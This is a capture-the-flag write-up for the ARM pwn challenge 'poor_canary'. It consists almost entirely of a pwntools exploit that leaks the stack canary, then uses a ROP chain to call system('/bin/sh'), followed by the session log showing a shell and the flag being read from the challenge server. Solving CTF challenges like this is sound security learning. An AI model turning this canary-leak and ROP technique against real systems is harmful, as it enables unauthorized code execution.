### === poor_canary (Pwn: 94 solves, 103 pts) ===by mito
Exploit code is the following.
```from pwn import *import commands
#context.log_level = 'debug'
pop_r0_pc   = 0x26b7c  # pop {r0, r4, pc};  by ropperbin_sh_addr = 0x71eb0system_addr = 0x16d90
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "116.203.30.62"  PORT = 18113  s = remote(HOST, PORT)else:  #s = process(["qemu-arm-static", "-g", "1337", "./canary"])  s = process(["qemu-arm-static", "./canary"])
s.recvuntil("> ")s.send("A"*41)
s.recvuntil("A"*41)r = s.recv(3)canary = u32("\x00" + r)print "canary =", hex(canary)
s.recvuntil("> ")buf  = "A"*40buf += p32(canary)buf += "B"*12buf += p32(pop_r0_pc)buf += p32(bin_sh_addr)buf += "C"*4buf += p32(system_addr)s.send(buf)
s.recvuntil("> ")s.send("\n")
s.interactive()```
Execution result
```$ python solve.py r[+] Opening connection to 116.203.30.62 on port 18113: Donecanary = 0xb5612900[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ lscanaryflag.txt$ cat flag.txthxp{w3lc0m3_70_7h3_31337_club_k1dd0}```